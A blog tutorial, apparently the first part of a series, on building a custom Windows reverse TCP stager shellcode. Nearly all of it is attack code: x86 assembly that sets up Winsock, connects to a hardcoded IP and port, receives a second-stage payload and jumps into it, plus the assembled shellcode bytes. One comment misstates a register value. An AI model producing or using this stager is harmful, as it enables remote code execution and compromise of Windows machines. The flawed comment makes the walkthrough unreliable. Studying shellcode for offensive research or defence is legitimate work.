Developing a Custom Windows Reverse TCP Stager Shellcode — Part One

The art and fabrics of windows shellcoding…

Introduction

Gif 1. Three human-beings trying the impossible — Click here for the original video.

Contextualizing purpose of a custom shellcode

Reverse TCP shellcode rely on network sockets

SOCKET WSAAPI WSASocketA(
int af,
int type,
int protocol,
LPWSAPROTOCOL_INFOA lpProtocolInfo,
GROUP g,
DWORD dwFlags
);

What we are about to call — WSASocketA

int WSAStartup(
WORD wVersionRequired,
LPWSADATA lpWSAData
);
mov eax, 0x0190        ; EAX = sizeof( struct WSAData )  
sub esp, eax ; alloc some space for the WSAData structure
push esp ; push a pointer to this stuct
push eax ; push the wVersionRequested parameter
push 0x006B8029 ; hash( "ws2_32.dll", "WSAStartup" )
call ebp ; WSAStartup( 0x0190, &WSAData );

A layer below the abstractions — in the memory space

; Call WSAStartUp
Load_WSAStartUp:
XOR EBX,EBX ; Zero EBX
MOV BX,0x0190 ; Set lower bytes of EBX,size of WSAData struct
SUB ESP,EBX ; Create space for receiving the WSAData struct
PUSH ESP ; Save a pointer to the WSAData struct
PUSH EBX ; Push EBX as wVersionRequested
MOV EBX,[WSAStartUp] ; Save pointer to WSAStartUp in EBX
CALL EBX ; Call WSAStartUp

; Setup a new socket using WSASocketA
Load_WSASocketA:
XOR EDI,EDI ; Set EDI to NULL
PUSH EDI ; Push dwFlags parameter value 0
PUSH EDI ; Push g parameter value 0
PUSH EDI ; Push lpProtocolInfo parameter value NULL
PUSH EDI ; Push the protocol arg value 0
INC EDI ; Increment EDI to 1
PUSH EDI ; Push the type parameter value 1
INC EDI ; Increment EDI to 2
PUSH EDI ; Push af parameter value 2
MOV EBX,[WSASocketA] ; Save pointer to WSASocketA in EBX
CALL EBX ; CALL WSASocketA
MOV EDI,EAX ; Save socket descriptor in EDI

; Initiate a connection with connect()
Load_connect:
PUSH 0x670a882 ; Push IP address on stack
PUSH WORD 0x0653 ; Push Port address on stack
XOR EBX,EBX ; Zero EBX
ADD BL,2 ; Add 2 to BL for sin_family
PUSH WORD BX ; Push sin_port and sin_family to stack
MOV EDX,ESP ; MOV pointer for sin_port & sin_family into EDX
PUSH BYTE 16 ; Push the namelen parameter value as 0x10
PUSH EDX ; Push the the pointer to the sockaddr structure
PUSH EDI ; Push the socket descriptor
MOV EBX,[connect] ; Save pointer to connect() in EBX
CALL EBX ; CALL connect()

; Use recv() for stage 2 shellcode
Shellexec_recv:
INC AH ; Increment EAX to 0x0100 (connect returned 0)
INC AH ; Increment EAX to 0x1000
SUB ESP,EAX ; Create 4096 bytes buffer for the recv call
MOV EBP,ESP ; Save the pointer to the buffer in EBP
XOR ECX,ECX ; Zero ECX for use as the flags argument
PUSH ECX ; Push flags parameter value 0 (no flags)
PUSH EAX ; Push len parameter value as 4096
PUSH EBP ; Push buf parameter (pointer to output buffer)
PUSH EDI ; Push s parameter value (WSASocketA descriptor)
MOV EBX,[recv] ; Save pointer to recv()in EAX
CALL EBX ; CALL recv()

; Jump to the stage 2 shellcode and execute
JMP EBP ; Jump to the buffer that was received
\x31\xdb\x66\xbb\x90\x01\x29\xdc\x54\x53\xbb\x90\x5e\xcf\x73\xff\xd3\x31\xff\x57\x57\x57\x57\x47\x57\x47\x57\xbb\x30\x97\xd0\x73\xff\xd3\x89\xc7\x68\x82\xa8\x70\x06\x66\x68\x53\x06\x31\xdb\x80\xc3\x02\x66\x53\x89\xe2\x6a\x10\x52\x57\xbb\xe0\x5e\xd0\x73\xff\xd3\xfe\xc4\xfe\xc4\x29\xc4\x89\xe5\x31\xc9\x51\x50\x55\x57\xbb\xa0\xe3\xcf\x73\xff\xd3\xff\xe5
What we are precisely doing…. :D

If I was a writer I’d have nice words to put here :) Purple Teamer.

Get the Medium app

A button that says 'Download on the App Store', and if clicked it will lead you to the iOS App store
A button that says 'Get it on, Google Play', and if clicked it will lead you to the Google Play store